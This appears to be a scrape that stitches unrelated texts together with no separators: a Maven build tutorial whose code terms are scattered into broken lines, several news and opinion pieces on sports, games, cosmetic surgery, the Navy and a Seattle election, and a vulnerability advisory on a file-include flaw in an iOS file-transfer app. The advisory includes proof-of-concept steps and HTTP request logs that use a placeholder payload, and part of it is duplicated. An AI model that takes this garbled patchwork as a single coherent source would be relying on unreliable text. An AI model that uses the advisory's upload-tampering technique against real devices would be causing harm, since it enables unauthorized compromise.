Now that I've gotten the soap-box speech out of the way, read on to understand a little bit about it, including how to set it up to do all the things in that list (and hundreds of other things) with a few directories and a 5-6 line XML file (the 5-6 lines comes from my formatting. It could easily be 3 lines of XML, if we're honest.
Things To Know
Where Can I get Maven? Maven is freely available, just like Ant, from Apache. Alternatively, many distributions have it in their repositories. For Ubuntu, it's
sudo apt-get install maven2
This version, as with all repository packages, is slightly out of date. But, at least you're off and running.
How Do I Install Maven? The simplest way is, like Ant, to unzip it, and add the bin folder of the directory to your system's PATH variable. Alternatively, skip to the next question and simply use your operating system's repository to install it, if possible.
How Do I Build a Maven Project Building a Maven project is easy, as the command never changes.
mvn install
pom.xml
mvn install
target
target
.jar
.war
target
pom.xml
mvn install
This is true whether it's your project or somebody elses. It's predictable, and consistant. To use it, ascend to the highest directory in the directory tree that contains afile. That's usually the parent project. Usually, Maven projects cascade downwards, so you might try issuing:This will generate adirectory in each project (if there are any). Inspect thedirectory for youror, or whatever you're expecting. If for some reason there's nodirectory in the directory that contains the source code you're trying to build, descend into it to the point where you're adjacent to the. Then, issue again:
How Do I Bootstrap a New Maven Project The simplest setup requires the creation of directories as well as one XML file. But, you'd likely create these directories and at least one XML file with Ant, too.
Run the following on the command line. NB: I haven't translated for Windows. I'm sure it's easy enough, there, too.
mkdir -p myproject/src/{main,test}/{java,resources}
jlong@studio:~/Desktop/myproject$ find.../src./src/main./src/main/resources./src/main/java./src/test./src/test/resources./src/test/java
src/test/*
src/main/{resources,java}
src/main/java
src/main/resources.
You can changeto whatever you want. This will create a directory structure like the following:If you're just getting started and aren't test-driven, then you can ignore. That leaves you with. Java code goes in. Things you'd like on the classpath of the same artifact, such as Spring application contexts, go in
Finally, you're going to need an XML POM file. POM standards for "Project Object Model," I think. It's the sole center for configuration related to your project. No need to do includes, or externalized configuration or anything. The simplest pom.xml looks like:
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd"> <modelVersion>4.0.0</modelVersion> <groupId>com.yourproject.crm</groupId> <artifactId>utilities</artifactId> <version>1.0-SNAPSHOT</version> </project>
pom.xml
myproject
You can copy and paste that into a file called, at the root of thefolder created above. You're done.
From here, so long as you're just planning on using the JDK, etc, then this will work fine.
What do those directories and 5 lines of XML buy me? Think of that as being equivalent to hundreds of Ant targets. The project already has enough information to, among other things:
Generate javadocs: mvn javadoc:javadoc Compile classes: mvn compile Compile and generate an artifact (a.jar, in this case): mvn install Generate a Checkstyle report: mvn checkstyle:checkstyle Or, in the alternative (and perhaps a complement): generate a PMD report: mvn pmd:pmd Build a web site with documentation on the structure of the project (anemic thing that it is): mvn site Build a cross reference of the project's sources: mvn jxr:jxr Setup project files for your favorite IDEs: mvn eclipse:eclipse, or mvn idea:idea (NB: if you're using IntelliJ IDEA 7 or later, or Eclipse with the fabulous m2Eclipse plugin, then you don't need these plugins. You can simply 'open' the project as you would any project by importing or opening the pom.xml. Netbeans also has incredible support for opening Maven projects directly.
How Do I Add JARs to the ClassPath? Short answer: you don't. You let Maven handle it for you. If you need a.jar, more than likely, it's already available in some repository, in the same way that a package might be provisioned by an operating system (such as Windows Update on Windows, apt on Debian distributions, rpm on RedHat distributions, port on OSX, etc..). For Maven, using a depdendency is as simple as identifying it and adding the metadata to the pom.xml.
There are many ways to "find" a.jar. The simplest is to start browsing a central repository and opening the pom.xml files. To add a dependency, you need it's <artifactId>, its <version>, and its <groupId>. These elements are usually at the top of all pom.xml s. To add a dependency on the Apache Commons Lang library to our project above, add the following lines to your pom.xml, right before the closing <project> element:
<dependencies> <!-- plenty of room to add dependencies --></dependencies>
dependencies
.jar
.jar
.jar
<dependency><groupId>commons-lang</groupId><artifactId>commons-lang</artifactId><version>2.4</version></dependency>
Inside thesection, you will add all your dependency information. The information you enter could be that for a third party, or ain your own project. Perhaps one team's project depends on another's. If Maven can't find the cached version of the, it'll download it for you.
To test, simply rebuild it as before: mvn install. Most of the IDE integrations will have suport for updating the project configuration in the IDE (i.e., the classpath) according to what's in Maven's configuration. If you'd rather not spelunk through the ibiblio repository site, you can always use one of the many Maven repository indexes. A good one is Maven Search. Type in a fragment of what you're looking for and it'll provide you with matches. Thus: I entered "commons-lang" and it found results. Additionally, most of the IDE's will have support for some form of repository browsing.
I'm Test Driven! This one's easy. If you do want to use JUnit (or TestNG), then fret not - that's Maven's default M.O.! By default, any JUnit classes put into the src/test/java folder will be compiled and run before proceeding with the build.
The Tour's Over, What Did You Think?
In this guide, I've given a walk through to the questions I can imagine thinking about when setting up a project with Ant. The result is that you can get a LONG ways with nothing (the minimal pom.xml ).
The balance of a given effort is the 20% stuff. As they say, the 20% cases can take 80% of the time. I can't speak to whether this is true or not as Maven's never delayed me, for any particular length, except when I was pushing it to do stuff that nothing else, including Ant, could have done. Even so, if you hit the 20% cases, you can rest easy in the knowledge that Maven is built to be flexible and extendable. It's whole model is exposed as a lifecycle. If you want to inject custom logic at a custom point, doing so is easy. It's also insanely interoperable. In fact, even if you don't want to use Maven but wan't to get a very high quality build script, setup the project using Maven and then use mvn ant:ant. It'll generate an ant script that'll handle most things you'd want to do. Finally, if you decide you absolutely can't live without, or translate effectively, an Ant script, there's good support for running Ant scriptlets inside of Maven.
Go ahead and give it a try if you haven't tried it before or if you were put off. It's truly powerful. The most visible testament to this are the ideas (like Ivy) that are inspired by it in Ant.LEBRON James, Kobe Bryant and Dwyane Wade are among the locked-out NBA stars who could play two matches in Australia as part of a world tour.
ESPN reports on its website that are in the works for groups of NBA superstars to play between October 30 and November 9 in London, Macau, Australia and Puerto Rico.
Two games would be played in Australia and all games would be played in venues of at least 15,000 seats.
The matches would be played during what would have been the first two weeks of the season.
NBA club owners locked out players on July 1 in a dispute over how to divide $4.2 billion in annual revenues.
Talks are ongoing to solve the shutdown, now in its 111th day, and a new deal would scuttle the global barnstorming tour.
But the NBA has already wiped out the first two weeks of the 2011-2012 season - 100 games between November 1-14 - opening the door for the tour by players left with nothing to do.
Many NBA players have signed deals with European or Asian clubs to ensure they would not lose a season of their careers in case the NBA lockout wipes out the entire North American pro season.
Among the others who reportedly could be involved are Derrick Rose, Carmelo Anthony, Chris Paul, Amare Stoudemire, Chris Bosh, Paul Pierce, Carlos Boozer, Rajon Rondo, Blake Griffin and Russell Westbrook with Kevin Durant and Kevin Garnett among thiose considering the tour.
Atlanta businessman Calvin Darden has worked with player agents for almost three months to organise the tour, ESPN reported, saying contracts have been signed by Bryant, Wade, Bosh, Griffin, Rondo and Pierce.
Insurance for possible injuries and other details were expected to be settled within days with television deals likely for the games and payments to players ranging from $100,000 to $1 million, some of it going to charity.
While some exhibitions have been staged on a small scale at US gyms, this would be the first all-elite showcase of its kind and take the game's stars around the world.Team Fortress 2 established itself as some of the best team-based shooting ever, but according to Lead Designer Robin Walker, PC Gaming's premier hat sim was also a test case for Valve's long-term survival. In an interview with Gamasutra, Walker revealed how the game's successful item economy doubled as an exploratory probe into MMO mechanics which Valve felt would factor into its livelihood going forward.
"Our secondary goal [with Team Fortress 2] was to see if we could explore specific game and business design spaces that we felt were potentially a requirement for the long-term survival of our company," Walker said.
"[When the game shipped], MMOs were the dominant story in the industry, and one concern we had was that we might not be able to survive if we didn't build one. We didn't think we were ready to undertake that, but we did think that we might be able to build some pieces of one, learning enough so that if or when we did need to build one, we had less risk on the table. We decided that persistent item design and storage seemed like a reasonable amount of risk for us to bite off, and could be made to fit into TF2's gameplay."
Valve's decision to turn Team Fortress 2 free-to-play last year also stemmed from monitoring ongoing MMO trends of shifting from subscriptions to microtransactional and pay-once models. "A couple of years later... we were starting to feel the same way about microtransactions as we did initially about MMOs: that our company was at risk if we didn't have internal experience and hard data on them," said Walker.
That most players I encounter during my rocket-spamming binges seem festooned head-to-toe with user-made badges, hats, facial hair, clothing, deodorant, and even spectral high-fives speaks volumes of Valve's favorable foray into MMO economics, a financial result Walker also acknowledged.
Read the full interview at Gamasutra.Anthony Youn, M.D., is a plastic surgeon in Metro Detroit. He is the author of “In Stitches,” a humorous memoir about growing up Asian American and becoming a doctor.
I cringe every time I see a patient for a breast lift who is a smoker. I’m deathly afraid that despite my warnings, she will smoke before or after surgery and cause her nipples to turn black and fall off.
Yes. Smokers who undergo breast lifts are at great risk of losing their nipples.
I’ve seen it before.
The nicotine in cigarettes and the carbon monoxide contained in cigarette smoke can diminish blood flow to various parts of the body. These toxins act as a virtual tourniquet. If the blood flow to a particular body part becomes greatly reduced or halted, that body part dies.
In my memoir “In Stitches,” I told the story of a smoker whose nipples turned purple while undergoing a breast lift surgery. Purple is the precursor to black. Black is the precursor to falling off. To save the patient—and her nipples - we turned to the only treatment available.
We went medieval.
We used leeches.
Because of the mechanics of blood flow, when the blood supply is inadequate, which occurs with smoking, the tiniest veins often fail. This insufficiency results in a backup of old (venous) blood in the body part, causing it to turn purple. If the backup of old blood is serious enough, the purple color may eventually turn black. That’s when we know the body part - toe, finger, or nipple - is dead.
We use leeches to literally suck out the excess venous blood from the body part, acting as an attachable vein. The leech drains the old blood, causing it to turn from unhealthy purple back to healthy pink. We place leeches intermittently until the body part grows new blood vessels to do the leeches’ work. This can take several days.
Not long ago, during a consultation for a breast lift, a patient, Susan, admitted to being a pack-a-day smoker. I informed her that smoking can cause difficulty in healing and instructed her to quit smoking at least one month before surgery and to stay off cigarettes for at least a month afterward. Several months later, when she arrived at the hospital for her breast lift, she smelled like an ashtray.
“Susan, I thought you quit smoking.”
“I did. OK. For a while. It’s really hard to quit, Dr. Youn.”
“I know,” I said. “But this is a big deal. There could be major healing problems if you smoke before or after surgery.”
“I understand. But I want to go ahead with the surgery anyway. It’ll be fine.”
She wasn’t hearing me. I needed to get through to her. “Susan, listen to me. If I operate on you, your nipples could turn black and fall off.”
Her eyes widened. “You mean… I’d have no nipples?”
“No nipples. That’s what smoking can do.”
Susan flushed. She raised her voice. “Dr. Youn, I took a week off work for this surgery. I had to put my whole life on hold for an entire week. If you told me I’d lose my nipples from smoking, I would’ve quit for good. This is your fault.”
Yes. Seriously. Susan blamed me for the inconvenience.
Thanks to her, I’ve changed my policy. In addition to the Surgeon General’s Warning that appears on cigarette packages, I now offer the Plastic Surgeon’s Warning to all my patients who smoke: If you are having a breast lift or reduction and you smoke, your nipples could turn black and fall off. If you are having a tummy tuck and you smoke, you may get an infection resulting in a big gross open wound that will take three months to heal. If you are having a facelift and you smoke, the skin of your cheek could turn black and slough off, leaving exposed fat.
Imagine yourself looking like “Two-Face” from “Batman: The Dark Knight.”
And do you really want me to reach for the jar of leeches?
Smokers, you have been warned.Filming a scene in which his character is beaten by his father, 11-year-old actor Shi Xiaosong rejected a protective pillow to make his performance authentic. The resulting pain and tears were real.
“It hurt; it really hurt — but ‘Star of Tomorrow’ is all about acting well,” the kung fu-trained actor told Sixth Tone, recounting his experience over a WeChat voice call from his hometown in northwestern China’s Xinjiang Uyghur Autonomous Region.
Xiaosong recently played the role of Jia Baoyu, a pampered teenage heir to a noble household, in a nine-episode television adaptation of classical novel “Dream of the Red Chamber” made with actors aged 6 to 12. The miniseries is the latest production from “Star of Tomorrow,” an online program retelling Chinese classics using an all-child cast.
Lots of people of course view commercial value as the most important thing. Values will determine your attitude, which in turn will determine how you treat production. - Pan Liping, director
Upon its release in early October, “Dream of the Red Chamber” became an overnight sensation, garnering widespread attention and accumulating over 100 million views on streaming platform Tencent Video within days. On the review site Douban, it was rated 9.2 out of 10 — the top score of any Chinese TV series in 2017, and among the top 1 percent of all costume dramas ever reviewed on the site. Online, viewers raved about the children’s stellar acting skills, particularly in contrast to celebrity actors often derided as “facially paralyzed” for their wooden acting.
“The acting is really good. To be honest, it’s better than that of some superstars,” read one of hundreds of enthusiastic bullet screen comments searing across the series’ first episode. “Kids! They’re all kids!” exclaimed another. Local
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play and wanted to use information in ways that didn't jibe with Adelman's coaching. The Rockets have more fully implemented Morey's philosophy since the change and Adelman got a head coaching job in Minnesota, where his lack of success has primarily been the result of particularly severe injury problems. Looking back, the parting between Adelman and the Rockets has not reflected negatively on either party.
One sub-issue to watch with the Grizzlies is the future of current lead assistant Dave Joerger, who is considered a head coaching candidate league-wide. If the Grizzlies and Hollins can't reach an agreement, Joerger could certainly be a candidate here. But if Hollins is retained — which seems likely — losing Joerger to a potential head-coaching opportunity elsewhere would be bittersweet. Joerger has been a highly effective “defensive coordinator” of sorts for the Grizzlies, but he's also been a conduit between the front office and coaching staff in terms of incorporating statistical information — and that was true even before this season's ownership and front office changes.
A More Modern, Creative Offense — As successful as the Grizzlies have been in recent years, fans may not realize that the team hasn't registered a better than league-average offense since Hubie Brown was the head coach, though they poked their collective heads above that threshold if you isolate only games played this season since the Rudy Gay trade. This season, more than ever, the Grizzlies eschew three-point shooting, a cornerstone of modern NBA offense, ranking a distant last in long-range attempts. Much of this has been personnel-related and it is promising that the team's offense has improved after the Gay trade. But there's a sense that the team needs to freshen up the team's offense going forward and there's reason to question whether Hollins is the right man for that job. On the other hand, it would be unfair given the offensive personnel Hollins has had at his disposal, to fully conclude that he can't manage such a transition.
Player Evaluation and Development — This is the most difficult issue to talk about because a narrative has formed locally that this is somehow one of the greatest strengths of Hollins' tenure. We hear endlessly about his development of Mike Conley. But while Hollins' handling of Conley is undeniably a plus, the real story isn't how good Conley has become but how long it took. As the fourth overall pick in a top-heavy draft, Conley was expected to be what he now is. The reasons for Conley's delayed development seem primarily to have been about his initial need for more physical maturity (i.e., he probably came out too early in that regard), the poor early management of his career by Iavaroni, and, it turns out, the ball-dominant play of Gay. Hollins deserves credit for steering Conley to where he was always supposed to be, but it wasn't a magic trick. And Conley himself — a hard worker and incredibly bright player — deserves the most credit for tapping into this native talents.
I've also heard bizarre, context-flouting assertions that Hollins took Marc Gasol from being “a second-round pick” to being an All-Star. Gasol was indeed a second-round pick, but in the 2007 draft — before his MVP season in Spain's ACB, the world's second-best basketball league. Gasol's dramatic transformation — in part a physical transformation — from “future Jake Tsakalidis” to “potential All-Star” happened in Spain. Had he been in the draft the summer before his rookie season for the Grizzlies, he would have been a likely lottery pick. And he was on his current NBA trajectory before Hollins took over as coach.
And so it goes: Hollins turned Marreese Speights into a player, even though Speights' relative production and battery of strengths and weaknesses remained largely unchanged in his transition from the Sixers to the Grizzlies. He turned Tony Allen into a major figure, even though Allen had guarded Kobe Bryant in the NBA Finals before coming to Memphis and sat on the bench behind rookie Xavier Henry to start his tenure with the Grizzlies. There's nothing really wrong with Hollins' developmental track record — everyone has hits and misses — but evidence doesn't suggest it's been particularly notable.
In truth, player evaluation is likely to be one of the biggest issues in, well, evaluating Hollins tenure, with Hollins' tendency toward snap judgements about players in stark contrast to the front office's data-driven evaluation method. Playing Henry over Allen is a past example of this. So was deciding, in training camp, that an unproven Jeremy Pargo was a better option than a rising Greivis Vasquez to handle back-up point guard duties. The subsequent Vasquez trade was a killer twice over: The Grizzlies sold low on a player who is now a prime Most Improved Player candidate and created an open sore at the back-up point guard spot that may well have cost them a playoff series. This season, Hollins' initial, practice-derived impressions of Austin Daye and Ed Davis conflicted with both the intent of their acquisition (where Davis was sought and Daye was a contract throw-in) and the evidence from their actual production and roles in NBA games.
I don't think these issues are particularly unusual with old-school coaches, or maybe coaches generally. It's just that Hollins' alleged strengths in this area have been overhyped.
Contract Negotiations — All of that acknowledged, I suspect that if Hollins is not back next season, the main reason will be because he and the team couldn't reach a deal, not because the team decides — as in the Adelman example — not to retain him. Hollins has a right to expect a raise and would likely be a candidate for other open jobs, which gives him some leverage. Playoff performance — no matter what anyone says on the record — will almost certainly impact Hollins' negotiating leverage as well, unless a deal is suddenly struck before the postseason. And, as in all contract issues the Grizzlies will face this season, I suspect years could also be a factor. The Grizzlies are set up for a maximum two-year remaining window with this core group, and then will be forced to re-route their team in a much different direction. This reality will likely factor into negotiations with Tony Allen, for instance, and it may well be a factor in terms of Hollins.
The Rudy Trade Lesson: Just as the Rudy Gay trade remains something of a Rorschach test for league commentators — revealing, at this late point in the evidentiary display, how fully you follow and how deeply you think about the league — it's also extremely open to interpretation when it comes to evaluating Hollins. On one level, Hollins gets credit for managing the in-season roster flux the deal generated and overcoming his own disapproval to keep his team on track. On the other hand, it turns out that he was wrong to oppose it.
Personally, I file this in the “pro” column in terms of bringing back Hollins, but for the lesson it presents: As long as the Grizzlies have been here, the organization has gotten into trouble catering too much to their coaches in terms of team building. Under Hubie Brown, it was the drafting of Troy Bell and signing of Brian Cardinal. Under Mike Fratello, it was the jettisoning of coach-killer malcontents (not the problem) in favor of on-the-downside vets (the problem). Under Marc Iavaroni, it was “Casey Jacobsen, Sixth Man.” Under Hollins, the Vasquez trade is the prime example.
But the Rudy deal was different. This was the front office deciding to do what they believed was best for the organization even if their coach didn't agree. Hollins, a pro, took what he was given and coached it to the best of his abilities, and the results have been great. And this is the way it's supposed to work. It's more complicated that that, obviously. You can't and shouldn't shut your coach out of the team-building process. But evaluating and acquiring talent and setting team-building strategy is a different skill set and requires a different use of time and resources than coaching. Being good at one job doesn't mean being good at the other. What Hollins has proven is that he's adaptable. This is the lesson, with Hollins or any other coach: Give him the team he needs, which may not always be the team he wants.
The Risk of the Unknown: The biggest reason the Grizzlies would be wise to bring back Lionel Hollins? It's not just that he's a highly accomplished and successful head coach. Though he is. And it's not because there aren't other coaches out there who could do as well or maybe even better. There are. But that doesn't mean you'll make the right hire.
At one time, Iavaroni looked like a good hire. That worked out terribly. Both Hollins and Hubie Brown were considered curious hires. Those worked out great. It goes to show you never can tell. Set up to be a playoff contender with something close to the same core over the next two seasons, the Grizzlies would be taking a very big risk in making a coaching change this summer. I sense a growing awareness of that, along with a growing comfort level with Hollins. And so I suspect a deal gets done.
A first-round implosion or a particularly tough contract negotiation could change things. But, for now, my hunch is that Hollins is back.The Navy is in bad shape and its leaders are starting to make noise about it.
The carrier George H.W. Bush is heading out for deployment Jan. 21 — about a month late — which meant an extended gap in carrier presence in the Middle East in the middle of a war on the Islamic State group. And the culprit was a longer-than-anticipated trip to the shipyards.
It's a sign of the times.
President Donald Trump has vowed to provide more money and an end to budget cuts that have wreaked havoc on the Navy's training and maintenance cycles — the period between deployments overseas. The constant demands on the force have caused an ever-growing list of equipment and weapons' systems that need to be fixed but lack funding and adequate time to perform the repairs.
"We are under stress right now," said Chief of Naval Operations Adm. John Richardson at a Defense One forum discussion Jan. 17. "There is persistent demand for naval forces from the [combatant commanders]. If you just take the raw numbers, we're meeting about half of those demands. So we're stretched pretty thin."
The strain on the fleet is made all the more real by the lack of funding for fixing its ships. The Navy's number two officer made the Navy's maintenance woes the centerpiece of his speech at the Surface Navy Association's annual symposium in early January, and called the deferred maintenance problem in the Navy insidious.
"This long war we're in and emerging or re-emerging threats have raised the stakes and kept us on the field longer than our bullpen is able to stay healthy," Adm. Bill Moran, vice chief of Naval operations said. "Deferred maintenance is insidiously taking its toll on the long-term readiness of our fleet."
During a presentation at the Surface Navy Association, Capt. Dave Bauer of the Surface Maintenance Engineering Planning Program said in 2016 he had 11 ships that had unfunded maintenance periods, which is when the Navy ties a ship up to the pier or sends it to the shipyards for extensive repair and renovation.
This new willingness to openly press the case for more maintenance dollars comes at a time when the incoming Trump administration has promised more money to the services and has set the Navy's ship-count goal at 355 ships up from today's 274.
But before any money goes into building new ships to boost its numbers, the Navy is demanding an end to its starvation diet for maintenance, Moran said.
"When the transition team asked me what I would do with more money today, this year and next my answer was not, more ships," Moran said. "It was making sure that the 274 ships we had were maintained and modernized to provide 274 ships worth of combat power … When we make decisions that either directly or indirectly underfund our readiness accounts, we do not get the full value from our Navy."
Within moments of Trump inauguration Friday, the administration had posted a commitment to reversing the strain on the Navy on the White House website.
"Our Navy has shrunk from more than 500 ships in 1991 to 275 in 2016. Our Air Force is roughly one third smaller than in 1991," the statement reads. "President Trump is committed to reversing this trend, because he knows that our military dominance must be unquestioned."Tuesday, August 4, 2009 - Page updated at 10:58 a.m.
Interviewing candidates in Seattle mayor's race
We asked the candidates for Seattle mayor how they'd run the city. What would they do first, and what makes them ready for the job? What about youth violence? The bag fee? What has been Mayor Greg Nickels' biggest mistake, and what does he say he did wrong? The primary is Aug. 18. Check out their answers now.
A Magnolia resident, she announced her candidacy after starting a petition drive to block plans for an Alaskan Way tunnel.
Former Sonic and a pro-basketball player for 20 years; owner, Donaldson Fitness & Physical Therapy. Proposes an agenda more friendly to small business, and says he would cut the city budget by 10 percent per year.
Seattle City Council member since 1994. A frequent ally of Mayor Greg Nickels on policy, she campaigns as the experienced alternative to the mayor. She says she would work more collaboratively with the City Council and regional leaders.
Activist known for opposing the Urban League's plan for the Northwest African American Museum. He emphasizes issues relating to youth violence and his problems with the museum project.
T-Mobile executive, who put $200,000 of his own money into the campaign. He says he can bring business sense to the office and do a better job of delivering basic city services.
Founder, Seattle Great City Initiative. He opposes replacing the Alaskan Way Viaduct with a tunnel. Instead, he wants to rely on surface streets and improved transit.
Two-term incumbent mayor and, previously, a member of the King County Council. He says he's made mistakes but wants to return to office to continue work on environmental issues and to ensure that the light-rail expansion comes in on time and on budget.
Corporate recruiter and matchmaker. He says his background in budgeting would help trim unnecessary city costs.Document Title: =============== iFunBox Free v1.1 iOS - File Include Vulnerability References (Source): ==================== http://www.vulnerability-lab.com/get_content.php?id=1344 Release Date: ============= 2014-10-20 Vulnerability Laboratory ID (VL-ID): ==================================== 1344 Common Vulnerability Scoring System: ==================================== 6.4 Product & Service Introduction: =============================== iFunBox is a powerful file transfer and manage tool. You can use it to transfer files between Apple devices. It’s also a full-function file explorer, with user-friendly UI and simple operations. (Copy of the Homepage: https://itunes.apple.com/de/app/ifunbox-free/id882209383 ) Abstract Advisory Information: ============================== The Vulnerability Laboratory Research Team discovered a local file include web vulnerability in the official iFunBox Free v1.1 iOS mobile web-application. Vulnerability Disclosure Timeline: ================================== 2014-10-20: Public Disclosure (Vulnerability Laboratory) Discovery Status: ================= Published Affected Product(s): ==================== Nguyen Anh Product: iFunBox Free - iOS Mobile Web Application 1.1 Exploitation Technique: ======================= Local Severity Level: =============== High Technical Details & Description: ================================ A local file include web vulnerability has been discovered in the official iFunBox Free v1.1 iOS mobile web-application. The local file include web vulnerability allows remote attackers to unauthorized include local file/path requests or system specific path commands to compromise the mobile web-application. The web vulnerability is located in the `filename` value of the `upload` module. Remote attackers are able to inject own files with malicious `filename` values in the `upload` POST method request to compromise the mobile web-application. The local file/path include execution occcurs in the index dir listing of the wifi interface context. The attacker is able to inject the local file include request by usage of the `wifi interface` in connection with the vulnerable upload request. Remote attackers are also able to exploit the filename/albumname validation issue in combination with persistent injected script codes to execute different local malicious attacks requests. The attack vector is on the application-side of the wifi service and the request method to inject is POST. The security risk of the local file include web vulnerability is estimated as high with a cvss (common vulnerability scoring system) count of 6.4. Exploitation of the local file include vulnerability requires no user interaction or privileged web-application user account. Successful exploitation of the local file include web vulnerability results in mobile application or connected device component compromise. Request Method(s): [+] POST Vulnerable Module(s): [+] Upload (File) Vulnerable Parameter(s): [+] filename Affected Module(s): [+] iToolZip Wifi Interface (localhost:80000) Proof of Concept (PoC): ======================= The local file include vulnerability can be exploited by local attackers without user interaction or privileged application user account. For security demonstration or to reproduce the security vulnerability follow the provided information and steps below to continue. 1. Install the mobile app to your local iOS device (iphone or ipad) [https://itunes.apple.com/de/app/ifunbox-free/id882209383] 2. Start the app and push in the right top corner the wifi transfer button 3. Take another device or computer that allows you to access the wifi file transfer interface (localhost:8000) 4. Now, the attacker uploads a file and tampers the request to manipulate the session information live Note: He injects a payload to request a local file through the vulnerable filename value in the upload POSt emthod request 5. The code execution occurs in the inject in the wifi file dir listing web interface index (localhost:8000:8000/./[LOCAL FILE INCLUDE VULNERABILITY!].png) 6. Successful reproduce of the security vulnerability! PoC: index.html (Name) [createdir?path=]
Select file: Name Download Delete./[LOCAL FILE INCLUDE VULNERABILITY!].png Applications Documents Games Musics Pictures Videos --- PoC Session Logs [GET] --- Status: 302[Found] POST http://localhost:8000:8000/files Load Flags[LOAD_DOCUMENT_URI LOAD_INITIAL_DOCUMENT_URI ] Größe des Inhalts[0] Mime Type[application/x-unknown-content-type] Request Header: Host[localhost:8000:8000] User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:32.0) Gecko/20100101 Firefox/32.0] Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8] Accept-Language[de,en-US;q=0.7,en;q=0.3] Accept-Encoding[gzip, deflate] Referer[http://localhost:8000:8000/] Connection[keep-alive] POST-Daten: POST_DATA[-----------------------------94243140032725 Content-Disposition: form-data; name="newfile"; filename="./[LOCAL FILE INCLUDE VULNERABILITY!].png" Content-Type: image/png - Status: 200[OK] GET http://localhost:8000:8000/ Load Flags[LOAD_DOCUMENT_URI LOAD_REPLACE LOAD_INITIAL_DOCUMENT_URI ] Größe des Inhalts[5753] Mime Type[application/x-unknown-content-type] Request Header: Host[localhost:8000:8000] User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:32.0) Gecko/20100101 Firefox/32.0] Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8] Accept-Language[de,en-US;q=0.7,en;q=0.3] Accept-Encoding[gzip, deflate] Referer[http://localhost:8000:8000/] Connection[keep-alive] Response Header: Accept-Ranges[bytes] Content-Length[5753] Date[Sun, 19 Oct 2014 17:05:59 GMT] - Status: 200[OK] GET http://localhost:8000:8000/files?p= Load Flags[LOAD_BACKGROUND ] Größe des Inhalts[369] Mime Type[application/x-unknown-content-type] Request Header: Host[localhost:8000:8000] User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:32.0) Gecko/20100101 Firefox/32.0] Accept[application/json, text/javascript, */*] Accept-Language[de,en-US;q=0.7,en;q=0.3] Accept-Encoding[gzip, deflate] X-Requested-With[XMLHttpRequest] Referer[http://localhost:8000:8000/] Connection[keep-alive] Response Header: Accept-Ranges[bytes] Content-Length[369] Date[Sun, 19 Oct 2014 17:06:00 GMT] - Status: 200[OK] GET http://localhost:8000:8000/./[LOCAL FILE INCLUDE VULNERABILITY!].png Load Flags[LOAD_DOCUMENT_URI ] Größe des Inhalts[0] Mime Type[application/x-unknown-content-type] Request Header: Host[localhost:8000:8000] User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:32.0) Gecko/20100101 Firefox/32.0] Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8] Accept-Language[de,en-US;q=0.7,en;q=0.3] Accept-Encoding[gzip, deflate] Referer[http://localhost:8000:8000/] Connection[keep-alive] Response Header: Accept-Ranges[bytes] Content-Length[0] Date[Sun, 19 Oct 2014 17:06:01 GMT] Solution - Fix & Patch: ======================= The file include web vulnerability can be patched by a secure parse and encode of the filename in the upload POST method request. To prevent the execution filter the input and restrict it on input but encode also the iToolZip wifi interface file dir list with the vulnerable name output value. Security Risk: ============== The security risk of the local file include web vulnerability in the iToolZo wifi web interface is estimated as high. (CVSS 6.4) Credits & Authors: ================== Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri ([email protected]) [www.vulnerability-lab.com] Disclaimer & Information: ========================= The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases or trade with fraud/stolen material. Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.evolution-sec.com Contact: [email protected] - [email protected] - [email protected] Section: dev.vulnerability-db.com - forum.vulnerability-db.com - magazine.vulnerability-db.com Social: twitter.com/#!/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php Programs: vulnerability-lab.com/submit.php - vulnerability-lab.com/list-of-bug-bounty-programs.php - vulnerability-lab.com/register/ Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), modify, use or edit our material contact ([email protected] or [email protected]) to get a permission. Copyright © 2014 | Vulnerability Laboratory [Evolution Security] --- PoC Session Logs [GET] --- Status: 302[Found] POST http://localhost:8000:8000/files Load Flags[LOAD_DOCUMENT_URI LOAD_INITIAL_DOCUMENT_URI ] Größe des Inhalts[0] Mime Type[application/x-unknown-content-type] Request Header: Host[localhost:8000:8000] User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:32.0) Gecko/20100101 Firefox/32.0] Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8] Accept-Language[de,en-US;q=0.7,en;q=0.3] Accept-Encoding[gzip, deflate] Referer[http://localhost:8000:8000/] Connection[keep-alive] POST-Daten: POST_DATA[-----------------------------94243140032725 Content-Disposition: form-data; name="newfile"; filename="./[LOCAL FILE INCLUDE VULNERABILITY!].png" Content-Type: image/png - Status: 200[OK] GET http://localhost:8000:8000/ Load Flags[LOAD_DOCUMENT_URI LOAD_REPLACE LOAD_INITIAL_DOCUMENT_URI ] Größe des Inhalts[5753] Mime Type[application/x-unknown-content-type] Request Header: Host[localhost:8000:8000] User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:32.0) Gecko/20100101 Firefox/32.0] 